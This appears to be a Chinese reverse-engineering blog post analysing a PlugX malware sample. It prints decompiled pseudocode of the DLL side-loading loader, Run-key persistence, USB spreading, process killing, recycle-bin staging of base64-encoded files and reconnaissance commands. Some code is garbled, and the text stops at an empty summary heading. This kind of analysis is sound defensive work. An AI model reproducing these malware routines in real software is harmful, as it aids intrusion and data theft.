PlugX样本分析

APT 2年前 (2022) admin
1,443 0 0

PlugX样本分析

PlugX是APT组织TA416等组织常用于恶意攻击的恶意软件家族,本篇文章对PlugX某样本的恶意行为(在逆向角度)进行分析。

样本信息

样本的基本信息

type hash
SHA256: 00fbfaf36114d3ff9e2c43885341f1c02fade82b49d1cf451bc756d992c84b06
MD5: c1c9624b21f71e4565b941a37db3815a
SHA1: 1c251974b2e6f110d96af5b23ad036954ba15e4e

解压样本发现样本文件夹内有三个文件,分别是AvastSvc.exe、wsc.dll、AvastAuth.dat。下面对文件逐个进行分析。

AvastSvc.exe

这是一个白文件,程序只有一个start函数,内容是导入wsc.dll,执行其run()函数。

void __noreturn start()
{
  HMODULE v0; // eax@1
  HMODULE v1; // esi@1
  FARPROC v2; // edi@2
  LPWSTR v3; // eax@3
  DWORD v4; // edi@3

  v0 = LoadLibraryW(L"wsc.dll");
  v1 = v0;
  if ( v0 )
  {
    v2 = GetProcAddress(v0, "_run@4");
    if ( v2 )
    {
      v3 = GetCommandLineW();
      v4 = ((int (__stdcall *)(_DWORD))v2)(v3);
      FreeLibrary(v1);
    }
    else
    {
      v4 = GetLastError();
      FreeLibrary(v1);
    }
  }
  else
  {
    v4 = GetLastError();
  }
  ExitProcess(v4);
}

可以看到样本为了躲避检测采取了白+黑的方式进行,这也是许多恶意软件用来躲避检测的常见方式。

wsc.dll

先对dll文件进行静态分析

int sub_10001BF0()
{
  HMODULE v0; // eax@1
  FARPROC v1; // eax@1
  unsigned int i; // [sp+0h] [bp-1ACh]@5
  char v4; // [sp+Bh] [bp-1A1h]@1
  char v5; // [sp+Bh] [bp-1A1h]@3
  char v6; // [sp+Bh] [bp-1A1h]@5
  CHAR String2; // [sp+Ch] [bp-1A0h]@3
  char v8; // [sp+Dh] [bp-19Fh]@3
  int v9; // [sp+4Ch] [bp-160h]@3
  _BYTE *v10; // [sp+50h] [bp-15Ch]@3
  CHAR String1; // [sp+54h] [bp-158h]@1
  char v12; // [sp+55h] [bp-157h]@1
  int v13; // [sp+15Ch] [bp-50h]@3
  unsigned int v14; // [sp+160h] [bp-4Ch]@5
  char v15; // [sp+164h] [bp-48h]@1
  char v16; // [sp+165h] [bp-47h]@1
  char v17; // [sp+166h] [bp-46h]@1
  char v18; // [sp+167h] [bp-45h]@1
  char v19; // [sp+168h] [bp-44h]@1
  char v20; // [sp+169h] [bp-43h]@1
  char v21; // [sp+16Ah] [bp-42h]@1
  char v22; // [sp+16Bh] [bp-41h]@1
  char v23; // [sp+16Ch] [bp-40h]@1
  char v24; // [sp+16Dh] [bp-3Fh]@1
  char v25; // [sp+16Eh] [bp-3Eh]@1
  CHAR ModuleName; // [sp+170h] [bp-3Ch]@1
  char v27; // [sp+171h] [bp-3Bh]@1
  char v28; // [sp+172h] [bp-3Ah]@1
  char v29; // [sp+173h] [bp-39h]@1
  char v30; // [sp+174h] [bp-38h]@1
  char v31; // [sp+175h] [bp-37h]@1
  char v32; // [sp+176h] [bp-36h]@1
  char v33; // [sp+177h] [bp-35h]@1
  char v34; // [sp+178h] [bp-34h]@1
  char v35; // [sp+17Ch] [bp-30h]@3
  int v36; // [sp+17Dh] [bp-2Fh]@3
  int v37; // [sp+184h] [bp-28h]@5
  int v38; // [sp+188h] [bp-24h]@1
  int v39; // [sp+18Ch] [bp-20h]@3
  CHAR ProcName; // [sp+190h] [bp-1Ch]@1
  char v41; // [sp+191h] [bp-1Bh]@1
  char v42; // [sp+192h] [bp-1Ah]@1
  char v43; // [sp+193h] [bp-19h]@1
  char v44; // [sp+194h] [bp-18h]@1
  char v45; // [sp+195h] [bp-17h]@1
  char v46; // [sp+196h] [bp-16h]@1
  char v47; // [sp+197h] [bp-15h]@1
  char v48; // [sp+198h] [bp-14h]@1
  char v49; // [sp+199h] [bp-13h]@1
  char v50; // [sp+19Ah] [bp-12h]@1
  char v51; // [sp+19Bh] [bp-11h]@1
  char v52; // [sp+19Ch] [bp-10h]@1
  char v53; // [sp+19Dh] [bp-Fh]@1
  char v54; // [sp+19Eh] [bp-Eh]@1
  char v55; // [sp+19Fh] [bp-Dh]@1
  char v56; // [sp+1A0h] [bp-Ch]@1
  char v57; // [sp+1A1h] [bp-Bh]@1
  char v58; // [sp+1A2h] [bp-Ah]@1
  _BYTE *v59; // [sp+1A8h] [bp-4h]@1

  v15 = '\';
  v16 = 'A';
  v17 = 'v';
  v18 = 'a';
  v19 = 's';
  v20 = 't';
  v21 = 'A';
  v22 = 'u';
  v23 = 't';
  v24 = 'h';
  v25 = '';
  String1 = '';
  sub_10002680(&v12, 00x103u);
  ModuleName = 'k';
  v27 = 'e';
  v28 = 'r';
  v29 = 'n';
  v30 = 'e';
  v31 = 'l';
  v32 = '3';
  v33 = '2';
  v34 = '';
  v38 = 9;
  ProcName = 'G';
  v41 = 'e';
  v42 = 't';
  v43 = 'M';
  v44 = 'o';
  v45 = 'd';
  v46 = 'u';
  v47 = 'l';
  v48 = 'e';
  v49 = 'F';
  v50 = 'i';
  v51 = 'l';
  v52 = 'e';
  v53 = 'N';
  v54 = 'a';
  v55 = 'm';
  v56 = 'e';
  v57 = 'A';
  v58 = '';
  v0 = GetModuleHandleA(&ModuleName);
  v1 = GetProcAddress(v0, &ProcName);
  (v1)(0, &String1, 260);
  v59 = sub_10002660(&String1, '\');           // 指向路径
  v4 = -8;
  if ( v59 )
  {
    *v59 = 0;
    v4 = -113;
  }
  v35 = '.';
  v36 = 'tad';
  v38 = 5;
  String2 = 0;
  sub_10002680(&v8, 00x3Fu);
  v9 = sub_10002D40(&v15);
  sub_10002C10(&String2, &v15, v9);
  sub_10002AD0(&String2, &v35, 4u);             // AvastAuth.dat
  lstrcatA(&String1, &String2);
  v10 = 0;
  v39 = 0;
  v13 = 0;
  sub_10001000(&String1, &v39, &v13);           // 打开文件并对文件进行读操作
  v5 = (((((((-38 * ((-26 * (((v4 ^ 0xE5 | 0xF5) ^ 0x4C) >> 4) | 0xCE) + 76) - 34) & 0x6D) - 19) / 39 >> 6) & 0xC9) + 60) ^ 0xCF)
     / 171
     / 101
     / 178
     / 146
     - 14;
  if ( !v13 )
  {
    sub_10002A4D(0);
    v5 &= 0x7Bu;
  }
  v37 = v39;
  v14 = sub_10002D40(v39);
  v13 = v13 - v14 - 1;
  v39 += v14 + 1;
  v10 = LocalAlloc(0x40u, v13 + 1);
  v6 = (((4 * ((((v5 + 19) ^ 0xC4) >> 5) | 0xBA) & 0x34) - 61) >> 6) & 0xCD;// 自解密算法
  for ( i = 0; i < v13; ++i )
  {
    v10[i] = *(i + v39);
    v10[i] ^= *(v37 + i % v14);
    v6 = (v6 ^ 0x3A) / 137;
  }
  return sub_100015D0(v10, v13);                // 获得读写权限
}

函数sub_10001000对.dat文件进行读操作,读取的值作为中间值进行了自解密运算,保存到v10中,最后获取读写操作权限。

下面我们进行动态分析在v10下断点找到shellcode进行提取。这个时候eax保存的值就是shellcode生成的地址,edx存储的是shellcode的长度。二进制复制到010editor上保存文件可以得到shellcode

shellcode

下面对生成的dll行为进行分析,先找到入口函数DllMain(),比较容易的找到关键函数。

int DllMain()
{
  int v0; // eax
  int v2; // [esp+0h] [ebp-18h]
  void *v3; // [esp+4h] [ebp-14h]
  int v4; // [esp+8h] [ebp-10h]
  void *v5; // [esp+Ch] [ebp-Ch]
  int v6; // [esp+10h] [ebp-8h]
  int v7; // [esp+14h] [ebp-4h] BYREF

  unknown_libname_2();
  v7 = 0;
  v0 = exec_GetCommandLineW();                  // 当前进程命令行字符串
  v6 = exec_CommandLineToArgvW(v0, &v7);
  switch ( v7 )
  {
    case 1:
      run_self();                               // 创建三个文件,并设置文件夹自启动
      exec_ExitProcess(0);
      break;
    case 2:
      v5 = sub_1000C3E0();
      v4 = exec_CreateMutexW(00, v5);         // 创建互斥体
      if ( exec_GetLastError() == 0xB7 )
        exec_ExitProcess(0);
      if ( !exec_memcmp(*(v6 + 4), L"-net"8) )// 第四个参数是-net执行下面操作
      {
        Reg_Network();                          // Control/Network写入注册表值
        run_self();                             // 创建三个文件,并设置文件夹自启动
        exec_ExitProcess(0);
      }
      sub_100153A0();                           // 提权、删除文件、获取计算机基本信息
      sub_100019B0(0);                          // 套接字相关函数,相关注册表值
      exec_CloseHandle(v4);
      break;
    case 3:
      sub_10015400(*(v6 + 4));
      v3 = sub_1000C3E0();
      v2 = exec_CreateMutexW(00, v3);         // 创建互斥体
      if ( exec_GetLastError() != 0xB7 )
      {
        exec_CloseHandle(v2);
        run_self();
      }
      exec_ExitProcess(0);
      break;
  }
  unknown_libname_1();
  return 0;
}

函数经过分析后采取了比较易读的命名方式。下面对关键函数进行依次分析。

在上面的代码中,这个程序要获取当前进程的命令行字符串,使用switch来进行流程的执行。

v7 = 1时执行case 1操作

case1

run_self()函数

int sub_100090E0()
{
  unsigned int v0; // eax
  int len; // eax
  int len_0; // eax
  char v4[520]; // [esp+0h] [ebp-1D68h] BYREF
  wchar_t Ext; // [esp+208h] [ebp-1B60h] BYREF
  char v6[510]; // [esp+20Ah] [ebp-1B5Eh] BYREF
  char v7[520]; // [esp+408h] [ebp-1960h] BYREF
  wchar_t Filename; // [esp+610h] [ebp-1758h] BYREF
  char v9[510]; // [esp+612h] [ebp-1756h] BYREF
  WCHAR v10; // [esp+810h] [ebp-1558h] BYREF
  char v11[518]; // [esp+812h] [ebp-1556h] BYREF
  WCHAR v12; // [esp+A18h] [ebp-1350h] BYREF
  char v13[518]; // [esp+A1Ah] [ebp-134Eh] BYREF
  char v14[520]; // [esp+C20h] [ebp-1148h] BYREF
  char v15[520]; // [esp+E28h] [ebp-F40h] BYREF
  wchar_t Dir; // [esp+1030h] [ebp-D38h] BYREF
  char v17[510]; // [esp+1032h] [ebp-D36h] BYREF
  wchar_t FullPath; // [esp+1230h] [ebp-B38h] BYREF
  char v19[518]; // [esp+1232h] [ebp-B36h] BYREF
  WCHAR v20[260]; // [esp+1438h] [ebp-930h] BYREF
  WCHAR v21; // [esp+1640h] [ebp-728h] BYREF
  char v22[518]; // [esp+1642h] [ebp-726h] BYREF
  char ppath[520]; // [esp+1848h] [ebp-520h] BYREF
  _WORD v24[260]; // [esp+1A50h] [ebp-318h] BYREF
  int v25[12]; // [esp+1C58h] [ebp-110h] BYREF
  __int16 v26; // [esp+1C88h] [ebp-E0h]
  HANDLE hObject; // [esp+1C9Ch] [ebp-CCh] BYREF
  HANDLE v28; // [esp+1CA0h] [ebp-C8h]
  __int16 v29[46]; // [esp+1CACh] [ebp-BCh] BYREF
  __int16 v30[20]; // [esp+1D08h] [ebp-60h] BYREF
  __int16 v31[16]; // [esp+1D30h] [ebp-38h] BYREF
  WCHAR v32; // [esp+1D50h] [ebp-18h] BYREF
  int v33; // [esp+1D52h] [ebp-16h]
  __int16 v34; // [esp+1D56h] [ebp-12h]
  wchar_t Drive; // [esp+1D58h] [ebp-10h] BYREF
  int v36; // [esp+1D5Ah] [ebp-Eh]
  int v37; // [esp+1D60h] [ebp-8h]
  int pName; // [esp+1D64h] [ebp-4h]

  v31[0] = '%';                                 // %userprofile%\
  v31[1] = 'u';
  v31[2] = 's';
  v31[3] = 'e';
  v31[4] = 'r';
  v31[5] = 'p';
  v31[6] = 'r';
  v31[7] = 'o';
  v31[8] = 'f';
  v31[9] = 'i';
  v31[10] = 'l';
  v31[11] = 'e';
  v31[12] = '%';
  v31[13] = '\';
  v31[14] = '';
  v30[0] = '%';
  v30[1] = 'a';                                 // %allusersprofile%\
  v30[2] = 'l';                                 // C:程序数据
  v30[3] = 'l';
  v30[4] = 'u';
  v30[5] = 's';
  v30[6] = 'e';
  v30[7] = 'r';
  v30[8] = 's';
  v30[9] = 'p';
  v30[10] = 'r';
  v30[11] = 'o';
  v30[12] = 'f';
  v30[13] = 'i';
  v30[14] = 'l';
  v30[15] = 'e';
  v30[16] = '%';
  v30[17] = '\';
  v30[18] = '';
  exec_lstrcpyW(v14, v31);
  exec_lstrcpyW(v15, v30);
  pName = sub_1000C320();
  exec_lstrcatW(v14, pName);
  exec_lstrcatW(v15, pName);
  exec_lstrcatW(v14, L"\");
  exec_lstrcatW(v15, L"\");
  exec_ExpandEnvironmentStringsW(v15, v24, 520);
  if ( exec_GetFileAttributesW(v24) == -1 && !exec_CreateDirectoryW(v24, 0) )// 创建目录
    exec_ExpandEnvironmentStringsW(v14, v24, 520);
  exec_lstrcpyW(ppath, v24);
  exec_lstrcatW(ppath, L"AvastSvc.exe");
  exec_lstrcpyW(v7, v24);
  exec_lstrcatW(v7, L"wsc.dll");
  exec_lstrcpyW(v4, v24);
  exec_lstrcatW(v4, L"AvastAuth.dat");
  Drive = 0;
  v36 = 0;
  Dir = 0;
  memset(v17, 0sizeof(v17));
  Filename = 0;
  memset(v9, 0sizeof(v9));
  Ext = 0;
  memset(v6, 0sizeof(v6));
  v21 = 0;
  memset(v22, 0sizeof(v22));
  FullPath = 0;
  memset(v19, 0sizeof(v19));
  v10 = 0;
  memset(v11, 0sizeof(v11));
  v12 = 0;
  memset(v13, 0sizeof(v13));
  exec_GetModuleFileNameW(0, &FullPath, 520);
  _wsplitpath_s(&FullPath, &Drive, 3u, &Dir, 0x100u, &Filename, 0x100u, &Ext, 0x100u);
  wsprintfW(&v21, L"%s%s", &Drive, &Dir);
  wsprintfW(&v10, L"%s%s", &v21, L"wsc.dll");
  wsprintfW(&v12, L"%s%s", &v21, L"AvastAuth.dat");
  sub_10007380(v24);
  exec_SetFileAttributesW(v24, 2);
  exec_SetFileAttributesW(v24, 2);
  exec_CopyFileW(&FullPath, ppath, 0);          // 创建文件AvastSvc.exe、wsc.dll、AvastAuth.dat
  exec_CopyFileW(&v10, v7, 0);
  exec_CopyFileW(&v12, v4, 0);
  v0 = exec_GetSystemTimeAsFileTime(0);         // 检索当前日期和时间
  srand(v0);
  v37 = rand() % 899 + 100;
  wsprintfW(v20, L""%s" %d", ppath, v37);
  v29[0] = 'S';
  v29[1] = 'o';
  v29[2] = 'f';
  v29[3] = 't';
  v29[4] = 'w';
  v29[5] = 'a';
  v29[6] = 'r';
  v29[7] = 'e';
  v29[8] = '\';
  v29[9] = 'M';
  v29[10] = 'i';
  v29[11] = 'c';
  v29[12] = 'r';
  v29[13] = 'o';
  v29[14] = 's';
  v29[15] = 'o';
  v29[16] = 'f';
  v29[17] = 't';
  v29[18] = '\';
  v29[19] = 'W';
  v29[20] = 'i';
  v29[21] = 'n';
  v29[22] = 'd';
  v29[23] = 'o';
  v29[24] = 'w';
  v29[25] = 's';
  v29[26] = '\';
  v29[27] = 'C';
  v29[28] = 'u';
  v29[29] = 'r';
  v29[30] = 'r';
  v29[31] = 'e';
  v29[32] = 'n';
  v29[33] = 't';
  v29[34] = 'V';
  v29[35] = 'e';
  v29[36] = 'r';
  v29[37] = 's';
  v29[38] = 'i';
  v29[39] = 'o';
  v29[40] = 'n';
  v29[41] = '\';
  v29[42] = 'R';
  v29[43] = 'u';
  v29[44] = 'n';
  v29[45] = '';
  len = exec_lstrlenW(v20);
  exec_RegCreate_SetKeyExW(0x80000002, v29, pName, v20, 2 * len + 21);// HKEY_CURRENT_USER 0x80000001/打开注册表项并为文件创建键值(自启动)
  len_0 = exec_lstrlenW(v20);
  exec_RegCreate_SetKeyExW(0x80000001, v29, pName, v20, 2 * len_0 + 21);// HKEY_LOCAL_MACHINE          0x80000002
  v32 = 0;
  v33 = 0;
  v34 = 0;
  wsprintfW(&v32, L" %d", v37);
  exec_lstrcatW(ppath, &v32);                   // 拼接路径
  exec_memset(&hObject, 0'x10');
  exec_memset(v25, 00x44);
  v25[0] = 0x44;
  v25[11] = 'x01';
  v26 = 1;
  if ( exec_CreateProcessW(0, ppath, 000400, v25, &hObject) )// 为AvastSvc.exe创建进程
  {
    exec_ResumeThread(v28);
    CloseHandle(hObject);
    CloseHandle(v28);
  }
  return 0;
}

这段代码先指向C:程序数据,创建一个文件夹,然后将三个程序wsc.dll、AvastSvc.exe、AvastAuth.dat复制到文件夹内。后对文件夹内的三个文件设置注册表的HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Run键值进行自启动设置,最后创建AvastSvc.exe进程。

执行case2操作流程:先创建一个互斥体,拿命令行第四个参数与“-net”字符串进行比较,不相同则执行Reg_Network()函数。而Reg_Network()函数功能是将注册表HKEY_LOCAL_MACHINE SYSTEM ControlSet001 Control NetworkVersion置1,后面同样执行run_self(),再往后执行sub_100153A0()函数。

case2

sub_100153A0()

int sub_100153A0()
{
  int v1; // [esp+0h] [ebp-8h] BYREF
  int v2; // [esp+4h] [ebp-4h]

  sub_10015600();                               // 遍历进程,打开进程设置自启动
  v1 = 0;
  v2 = exec_CreateThread(00, sub_10014E10, 00, &v1);// 创建线程
  if ( v2 )
  {
    exec_CloseHandle(v2);
    v2 = 0;
  }
  return 0;
}

其中sub_10015600()函数如下

sub_10015600()

int sub_10015600()
{
  wchar_t v1[18]; // [esp+8h] [ebp-E4h] BYREF
  wchar_t v2[16]; // [esp+2Ch] [ebp-C0h] BYREF
  wchar_t v3[16]; // [esp+4Ch] [ebp-A0h] BYREF
  wchar_t SubStr[16]; // [esp+6Ch] [ebp-80h] BYREF
  wchar_t v5[16]; // [esp+8Ch] [ebp-60h] BYREF
  wchar_t v6[14]; // [esp+ACh] [ebp-40h] BYREF
  __int16 v7[18]; // [esp+C8h] [ebp-24h] BYREF

  SubStr[0] = 'A';                              // AdobeHelper.exe
  SubStr[1] = 'd';
  SubStr[2] = 'o';
  SubStr[3] = 'b';
  SubStr[4] = 'e';
  SubStr[5] = 'H';
  SubStr[6] = 'e';
  SubStr[7] = 'l';
  SubStr[8] = 'p';
  SubStr[9] = 'e';
  SubStr[10] = 'r';
  SubStr[11] = '.';
  SubStr[12] = 'e';
  SubStr[13] = 'x';
  SubStr[14] = 'e';
  SubStr[15] = '';
  v1[0] = 'A';                                  // AdobeUpdates.exe
  v1[1] = 'd';
  v1[2] = 'o';
  v1[3] = 'b';
  v1[4] = 'e';
  v1[5] = 'U';
  v1[6] = 'p';
  v1[7] = 'd';
  v1[8] = 'a';
  v1[9] = 't';
  v1[10] = 'e';
  v1[11] = 's';
  v1[12] = '.';
  v1[13] = 'e';
  v1[14] = 'x';
  v1[15] = 'e';
  v1[16] = '';
  v2[0] = 'A';
  v2[1] = 'd';
  v2[2] = 'o';
  v2[3] = 'b';
  v2[4] = 'e';
  v2[5] = 'U';
  v2[6] = 'p';
  v2[7] = 'd';
  v2[8] = 'a';
  v2[9] = 't';
  v2[10] = 'e';
  v2[11] = '.';
  v2[12] = 'e';
  v2[13] = 'x';
  v2[14] = 'e';
  v2[15] = '';
  v6[0] = 'A';
  v6[1] = 'd';
  v6[2] = 'o';
  v6[3] = 'b';
  v6[4] = 'e';
  v6[5] = 'A';
  v6[6] = 'R';
  v6[7] = 'M';
  v6[8] = '.';
  v6[9] = 'e';
  v6[10] = 'x';
  v6[11] = 'e';
  v6[12] = '';
  v5[0] = 'A';
  v5[1] = 'A';
  v5[2] = 'M';
  v5[3] = ' ';
  v5[4] = 'U';
  v5[5] = 'p';
  v5[6] = 'd';
  v5[7] = 'a';
  v5[8] = 't';
  v5[9] = 'e';
  v5[10] = '.';
  v5[11] = 'e';
  v5[12] = 'x';
  v5[13] = 'e';
  v5[14] = '';
  v3[0] = 'A';
  v3[1] = 'A';
  v3[2] = 'M';
  v3[3] = ' ';
  v3[4] = 'U';
  v3[5] = 'p';
  v3[6] = 'd';
  v3[7] = 'a';
  v3[8] = 't';
  v3[9] = 'e';
  v3[10] = 's';
  v3[11] = '.';
  v3[12] = 'e';
  v3[13] = 'x';
  v3[14] = 'e';
  v3[15] = '';
  v7[0] = 'S';                                  // SeDebugprivilege
  v7[1] = 'e';
  v7[2] = 'D';
  v7[3] = 'e';
  v7[4] = 'b';
  v7[5] = 'u';
  v7[6] = 'g';
  v7[7] = 'P';
  v7[8] = 'r';
  v7[9] = 'i';
  v7[10] = 'v';
  v7[11] = 'i';
  v7[12] = 'l';
  v7[13] = 'e';
  v7[14] = 'g';
  v7[15] = 'e';
  v7[16] = 0;
  sub_100072B0(v7, 1);                          // 指定写相关的访问权的OpenProcess操作
  sub_100133D0(SubStr);                         // 遍历进程找到AdobeHelper.exe,关闭进程。打开进程删除注册表项
  sub_100133D0(v1);                             // AdobeUpdates.exe
  sub_100133D0(v2);
  sub_100133D0(v6);
  sub_100133D0(v5);
  sub_100133D0(v3);
  return sub_100072B0(v7, 0);
}

函数将AdobeHelper.exe、AdobeUpdates.exe、 AdobeUpdate.exe、AdobeARM.exe、AM Update.exe、AAM Updates.exe字符串传入sub_100133D0()函数,sub_100072B0()的功能是获得文件的写访问权。而sub_100133D0()的内容是关闭进程、遍历磁盘删除文件、删除启动项。

回到sub_100153A0()函数,后面创建了一个线程,为函数sub_10014E10()

sub_10014E10()

void __stdcall sub_10014E10(int a1)
{
  int v1; // eax
  __int16 lpBuffer; // [esp+0h] [ebp-430h] BYREF
  char v3[518]; // [esp+2h] [ebp-42Eh] BYREF
  wchar_t pFilePath; // [esp+208h] [ebp-228h] BYREF
  char v5[518]; // [esp+20Ah] [ebp-226h] BYREF
  int v6; // [esp+410h] [ebp-20h]
  int v7; // [esp+414h] [ebp-1Ch] BYREF
  int v8; // [esp+418h] [ebp-18h] BYREF
  wchar_t *v9; // [esp+41Ch] [ebp-14h]
  int v10; // [esp+420h] [ebp-10h]
  int v11; // [esp+424h] [ebp-Ch]
  int v12; // [esp+428h] [ebp-8h]
  __int16 *v13; // [esp+42Ch] [ebp-4h]

  exec_SetErrorMode(1);
  v10 = 0;
  lpBuffer = 0;
  memset(v3, 0sizeof(v3));
  pFilePath = 0;
  memset(v5, 0sizeof(v5));
  v13 = 0;
  while ( 1 )
  {
    exec_memset(&lpBuffer, 08);
    exec_GetLogicalDriveStringsW(520, &lpBuffer);// 用指定系统中有效驱动器的字符串填充缓冲区。
    v13 = &lpBuffer;
    v6 = 1;
    while ( *v13 )                              // 驱动中的每个文件夹都复制自身
    {
      exec_memset(&pFilePath, 08);
      exec_lstrcpyW(&pFilePath, L"\\.\");    // 匹配所有驱动器文件
      exec_lstrcatW(&pFilePath, v13);           // 所有驱动器
      v9 = exec_wcsrchr(&pFilePath, '\');
      *v9 = 0;
      v10 = CreateFile_0(&pFilePath);           // 创建文件
      if ( v10 == 1 )
      {
        v8 = 0;
        v7 = 0;
        v12 = exec_CreateThread(00, sub_100151E0, &pFilePath, 0, &v8);// 创建线程  互斥体、超级隐藏文件
        if ( v12 )
        {
          exec_CloseHandle(v12);
          v12 = 0;
        }
        exec_Sleep(100);
        v11 = exec_CreateThread(00, sub_10015030, &pFilePath, 0, &v7);// 创建线程
        if ( v11 )
        {
          exec_CloseHandle(v11);
          v11 = 0;
        }
        exec_Sleep(1000);
      }
      v1 = exec_lstrlenW(v13);
      v13 += v1 + 1;
    }
    exec_Sleep(30000);
  }
}

函数创建了两个线程,在创建线程之前函数对整个磁盘进行遍历,并打开磁盘,之后在打开的磁盘中创建两个线程sub_100151E0()与sub_10015030()

sub_100151E0()

int __stdcall sub_100151E0(_WORD *a1)
{
  WCHAR v2; // [esp+0h] [ebp-430h] BYREF
  char v3[518]; // [esp+2h] [ebp-42Eh] BYREF
  wchar_t SysId; // [esp+208h] [ebp-228h] BYREF
  char v5[518]; // [esp+20Ah] [ebp-226h] BYREF
  int v6; // [esp+410h] [ebp-20h]
  wchar_t *v7; // [esp+414h] [ebp-1Ch]
  int v8; // [esp+418h] [ebp-18h] BYREF
  WCHAR pFileName; // [esp+41Ch] [ebp-14h] BYREF
  int v10; // [esp+41Eh] [ebp-12h]
  int v11; // [esp+422h] [ebp-Eh]
  __int16 v12; // [esp+426h] [ebp-Ah]
  _WORD *v13; // [esp+428h] [ebp-8h]
  int v14; // [esp+42Ch] [ebp-4h]

  exec_SetErrorMode(1);
  v13 = a1;
  pFileName = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  if ( *a1 == '\' && v13[1] == '\' )
    wsprintfW(&pFileName, L"%c:\", v13[4]);
  else
    wsprintfW(&pFileName, L"%ws", v13);
  v2 = 0;
  memset(v3, 0sizeof(v3));
  SysId = 0;
  memset(v5, 0sizeof(v5));
  exec_lstrcpyW(&SysId, &pFileName);
  v7 = exec_wcsrchr(&SysId, ':');
  *v7 = 0;
  wsprintfW(&v2, L"USB_NOTIFY_INF_%ws", &SysId);
  v14 = exec_CreateMutexW(00, &v2);           // 为驱动创建互斥体
  if ( exec_GetLastError() != 0xB7 )
  {
    v8 = 0;
    v6 = exec_CreateThread(00, sub_10013ED0, 00, &v8);// 创建线程,设置隐藏文件注册表项
    while ( sub_10015E00(&pFileName) != 2 )     // 查看网络连接。在驱动器中复制自身,并且创建伪装快捷方式文件.lnk   在回收站创建CEFHelper.exe文件
      exec_Sleep(60000);
  }
  exec_ReleaseMutex(v14);
  exec_CloseHandle(v14);
  return 0;
}

函数进入每个驱动器之后创建互斥体USB_NOTIFY_INF_然后创建线程,设置隐藏注册表项。在while内部的sub_10015E00()函数查看网络连接、在驱动器中复制自身,并且创建伪装快捷方式文件.lnk 在回收站创建CEFHelper.exe文件,最后释放互斥体。

sub_10015030()

int __stdcall sub_10015030(_WORD *a1)
{
  LPCWSTR v2; // [esp+0h] [ebp-428h] BYREF
  DWORD v3; // [esp+4h] [ebp-424h]
  DWORD v4; // [esp+8h] [ebp-420h]
  wchar_t SysId; // [esp+208h] [ebp-220h] BYREF
  char v6[518]; // [esp+20Ah] [ebp-21Eh] BYREF
  wchar_t *v7; // [esp+410h] [ebp-18h]
  WCHAR pFilePath; // [esp+414h] [ebp-14h] BYREF
  int v9; // [esp+416h] [ebp-12h]
  int v10; // [esp+41Ah] [ebp-Eh]
  __int16 v11; // [esp+41Eh] [ebp-Ah]
  _WORD *v12; // [esp+420h] [ebp-8h]
  int v13; // [esp+424h] [ebp-4h]

  exec_SetErrorMode(1);
  v12 = a1;
  pFilePath = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  if ( *a1 == '\' && v12[1] == '\' )
    wsprintfW(&pFilePath, L"%c:\", v12[4]);
  else
    wsprintfW(&pFilePath, L"%ws", v12);
  LOWORD(v2) = 0;
  memset(&v2 + 200x206u);
  SysId = 0;
  memset(v6, 0sizeof(v6));
  exec_lstrcpyW(&SysId, &pFilePath);
  v7 = exec_wcsrchr(&SysId, ':');
  *v7 = 0;
  wsprintfW(&v2, L"USB_NOTIFY_COP_%ws", &SysId);// 为驱动创建互斥锁
  v13 = exec_CreateMutexW(00, &v2);
  if ( exec_GetLastError() == 0xB7 )
  {
    exec_ReleaseMutex(v13);
    exec_CloseHandle(v13);
    v13 = 0;
    return 0;
  }
  if ( InternetCheckConnectionW_0(v2, v3, v4) ) // 检查网络连接https://www.microsoft.com
  {
    sub_10010600(&pFilePath);                   // 将指定文件base64加密传到垃圾桶
  }
  else
  {
    if ( !sub_10012E60() )                      // 设置Network注册表
      return 0;
    sub_10010BA0(&pFilePath);                   // 设置清空回收站注册表项,创建一个进程使用某些shell获取计算机的基本信息
    sub_100123C0(&pFilePath);
  }
  exec_ReleaseMutex(v13);
  exec_CloseHandle(v13);
  return 0;
}

同上,创建一个互斥锁,检查网络连接https://www.microsoft.com,连接正常则将某些指定格式的文件进行base64加密并传入回收站中。后面设置Network的注册表为1,sub_10010BA0()函数设置清空回收站注册表项,创建一个进程使用某些shell获取计算机的基本信息(ipconfig /all netstat -ano arp -a tasklist /v systeminfo)并且将文件tc3lzLmluZm8放入回收站将tmp.bat删除,并且创建进程。

回到主函数,sub_100019B0是套接字相关函数,如下

int __stdcall sub_100019B0(int a1)
{
  __int16 v2[18]; // [esp+0h] [ebp-64h] BYREF
  __int16 v3[16]; // [esp+24h] [ebp-40h] BYREF
  int v4; // [esp+44h] [ebp-20h]
  int v5; // [esp+48h] [ebp-1Ch]
  int v6; // [esp+4Ch] [ebp-18h]
  int v7; // [esp+50h] [ebp-14h]
  int v8; // [esp+54h] [ebp-10h]
  int v9; // [esp+58h] [ebp-Ch]
  int v10; // [esp+5Ch] [ebp-8h]
  char v11[4]; // [esp+60h] [ebp-4h] BYREF

  sub_1000F960();
  v2[0] = 'S';
  v2[1] = 'e';
  v2[2] = 'D';
  v2[3] = 'e';
  v2[4] = 'b';
  v2[5] = 'u';
  v2[6] = 'g';
  v2[7] = 'P';
  v2[8] = 'r';
  v2[9] = 'i';
  v2[10] = 'v';
  v2[11] = 'i';
  v2[12] = 'l';
  v2[13] = 'e';
  v2[14] = 'g';
  v2[15] = 'e';
  v2[16] = 0;
  v10 = sub_100072B0(v2, 1);                    // 提权
  v3[0] = 'S';                                  // SeTcbprivilege
  v3[1] = 'e';
  v3[2] = 'T';
  v3[3] = 'c';
  v3[4] = 'b';
  v3[5] = 'P';
  v3[6] = 'r';
  v3[7] = 'i';
  v3[8] = 'v';
  v3[9] = 'i';
  v3[10] = 'l';
  v3[11] = 'e';
  v3[12] = 'g';
  v3[13] = 'e';
  v3[14] = 0;
  v9 = sub_100072B0(v3, 1);                     // 提权
  v8 = sub_10009AE0();                          // 创建线程,设置注册表值,创建套接字
  unknown_libname_3(v11);
  v7 = sub_100164D0(v11);                       // 窗口
  v6 = sub_100165A0(v11);                       // 消息
  v5 = sub_100164A0(v11);                       // Destroy
  sub_10001850(dword_10028CEC);
  sub_1000A210();
  sub_1000EE80();                               // WSACleanup
  v4 = 0;
  unknown_libname_4(v11);
  return v4;
}

函数先提升权限,后创建一个线程创建一个套接字实现连接操作,可以执行远程用户的命令来篡改受感染的计算机,之后创建一个注册表SoftwareCLASSESms-puPROXY。

执行case3如下

case3

实现发送消息、执行shell的open操作。并且执行run_self操作。

总结

样本的行为事件总结如下:

注册表项

